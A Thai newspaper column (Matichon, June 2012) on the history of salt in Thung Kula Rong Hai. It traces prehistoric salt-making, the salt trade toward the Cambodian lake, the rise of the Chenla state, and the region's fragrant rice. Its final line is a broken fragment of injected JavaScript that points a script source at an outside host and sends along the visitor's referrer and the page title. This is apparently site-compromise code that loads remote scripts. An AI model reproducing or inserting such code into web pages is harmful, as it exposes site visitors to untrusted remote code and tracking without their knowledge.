มติชนรายวัน ฉบับประจำวันพุธที่ 6 มิถุนายน 2555

 

          อาหารไทย ใส่“สตอรี่” มีนิทานและคำบอกเล่าหลากหลาย ต้องเก็บรวบรวมไว้ใน มิวเซียมอาหารไทย เพื่อกระตุ้นให้มี“ครีเอทีฟ” ครัวไทยสู่ครัวโลก เช่น เกลือกับทุ่งกุลา

          ทางวิทยาศาสตร์ ถือว่าเกลือเป็นวัตถุธาตุอย่างหนึ่ง มีรสเค็ม แล้วใช้ในกิจการอุตสาหกรรมได้หลายอย่าง

          ทางประวัติศาสตร์สังคมและการเมือง ถือว่าเกลือเป็นทั้งยา, อาหาร, และเงินตรา มีค่าเสมือนทองคำ มีคนปรุงอาหารใส่เกลือมากที่สุดในโลก มากกว่าปรุงใส่น้ำปลา

          คนน่าจะรู้จักเอาเกลือเป็นยาและอาหาร เมื่อหลายพันปีมาแล้ว เพราะพบแหล่งเกลือขนาดกว้างใหญ่ แล้วมีคนทำเกลือสินเธาว์ที่ทุ่งกุลาร้องไห้ในอีสาน ตั้งแต่ราว 2,500 ปีมาแล้ว

          ยุคนั้นจำนวนแหล่งเกลือที่คนทำไว้ในทุ่งกุลา จะได้เกลือในปริมาณมากกว่าจำนวนประชากรจะบริโภคหมด นักวิชาการทั้งไทยและเทศจึงเชื่อว่าคนดึกดำบรรพ์ยุคนั้นใช้เกลือเพื่อสนับสนุนการถลุงเหล็กด้วย เพราะพบแหล่งเหล็กกับแหล่งเกลืออยู่ปนกัน

          ทุ่งกุลา เป็นแหล่งเกลือใหญ่สุดทั้งในอีสานและบริเวณสุวรรณภูมิ เพราะมีหลักฐานว่าส่งขายถึงบริเวณทะเลสาบกัมพูชาที่มีปลาน้ำจืดมากสุด ใช้ถนอมอาหารทำปลาแดก, ปลาร้า, ปลาฮอก

          เกลือทุ่งกุลานี่เองทำให้เกิดความมั่งคั่งและมั่นคงจนมีบ้านมีเมืองแล้วมีรัฐเก่าแก่ที่สุดในอีสานและสองฝั่งโขงคือ รัฐเจนละ ควบคุมการผลิตและการค้าเกลือ ตั้งแต่ราวหลัง พ.ศ. 1000 ลงมาอีกนานอยู่บริเวณลุ่มน้ำมูล-ชี แถบ จ. ยโสธร, ร้อยเอ็ด, อุบลฯ แล้วขยายเข้าไปในเขตกัมพูชาทางทะเลสาบ จนพระราชารัฐเจนละสถาปนาอาณาจักร แล้วเป็นกษัตริย์ที่กัมพูชาด้วย

          เกลือมีวิธีทำ 2 ทาง คือ เกลือสมุทร ได้จากไขน้ำเค็มของทะเลมาตากแดดให้แห้งเป็นเกล็ดเกลือ เช่น ทางสมุทรสงคราม, เพชรบุรี และเกลือสินเธาว์ ได้จากน้ำเค็มใต้ดิน เอามาต้มจนแห้งตกผลึกเกลือ เช่น ที่ทุ่งกุลา ในอีสาน

          ทุ่งกุลา มีแหล่งเกลือดึกดำบรรพ์ ทำให้ทั่วบริเวณมีคุณสมบัติเค็มแห้งแล้งทราย ไปกดดันข้าว“เครียด” รีดกลิ่นหอมกว่าที่อื่น ส่งผลให้ทุกวันนี้ข้าวหอมทุ่งกุลามีคุณภาพดีเลิศ ทำรายได้มหาศาล

} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;